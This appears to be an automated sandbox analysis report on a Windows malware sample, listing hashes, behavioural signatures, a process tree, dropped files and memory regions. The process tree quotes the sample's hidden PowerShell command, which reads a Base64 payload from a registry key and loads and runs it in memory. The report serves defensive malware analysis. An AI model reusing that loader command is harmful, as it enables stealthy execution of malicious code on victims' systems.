Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    16-08-2024 08:57

General

  • Target

    9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe

  • Size

    1.7MB

  • MD5

    9db92ead87f1de645a719a3833149ab2

  • SHA1

    bcb4a1b97ded4cbe4cadd6e7f9719b2322618901

  • SHA256

    2b54039195a45d011a466289c920009afbd276de9f9ab8858b62cb6de1961ed0

  • SHA512

    ade5ee81536dc86d226580a308dda14c241fa51fb589cbb92f4105c58c738422ba9620a8c2bb27f144e904b75ade06b8cac76f741c26125de69cf06b1c4d250f

  • SSDEEP

    24576:gk70TrcTv8GaBoLpvX843rTcIM9C8kCRGlSnLvBCUetcSRTFG6UUZN1oda2F4Q77:gkQTAjrJ8Mrg19nLj+dWdaYBJn

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 17 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\encoded.vbe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1700
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy UnRestricted -Windo 1 -windowstyle hidden -noprofile -Command "$sweMPIwpTWhAiipd = (get-itemproperty -path 'HKCU:\IsEJEAIwRkHJfSb\rwrMWUiFQJZKzOKaDV\' -name 'BtCMsuVhGZUcGMvFXvuDs').BtCMsuVhGZUcGMvFXvuDs;$sweMPIwpTWhAiipd=$sweMPIwpTWhAiipd.replace('(i&y~^t%','A');[byte[]]$_0 = [System.Convert]::FromBase64String($sweMPIwpTWhAiipd);$_1 = [Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke('RPQHJfEHof',$null);"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3056
    • C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1076

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\encoded.vbe

    Filesize

    141KB

    MD5

    02b4a7beab29edc41934f65d96407d36

    SHA1

    f179b741f890e5bab53d3923dda1f759e9b1c7c7

    SHA256

    25419c5e756fddc98b11e667053989de084edec699ced6b77b477fbd085bea20

    SHA512

    46898863d5dc5cd50e21d1fad898c75b7057cd45301dd470b95dc9fcd390864b00f957bd41413e37d0a42e85bff0d7b77c1ae79bdbc074f454d5044c529fc4a6

  • memory/1076-772-0x0000000000400000-0x0000000000519000-memory.dmp

    Filesize

    1.1MB

  • memory/1076-767-0x0000000000400000-0x0000000000519000-memory.dmp

    Filesize

    1.1MB

  • memory/1508-27-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-53-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-19-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-6-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-9-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-21-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-31-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-23-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-51-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-49-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-47-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-45-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-25-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-41-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-39-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-37-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-35-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-33-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-29-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-0-0x000000007411E000-0x000000007411F000-memory.dmp

    Filesize

    4KB

  • memory/1508-43-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-4-0x0000000074110000-0x00000000747FE000-memory.dmp

    Filesize

    6.9MB

  • memory/1508-5-0x0000000074110000-0x00000000747FE000-memory.dmp

    Filesize

    6.9MB

  • memory/1508-17-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-15-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-13-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-11-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-7-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-55-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-57-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-59-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-67-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-65-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-63-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-61-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-69-0x0000000004E70000-0x0000000005075000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-742-0x0000000074110000-0x00000000747FE000-memory.dmp

    Filesize

    6.9MB

  • memory/1508-3-0x0000000004E70000-0x000000000507C000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-749-0x0000000005EF0000-0x0000000005F0C000-memory.dmp

    Filesize

    112KB

  • memory/1508-2-0x0000000074110000-0x00000000747FE000-memory.dmp

    Filesize

    6.9MB

  • memory/1508-768-0x0000000074110000-0x00000000747FE000-memory.dmp

    Filesize

    6.9MB

  • memory/1508-1-0x0000000005080000-0x000000000528C000-memory.dmp

    Filesize

    2.0MB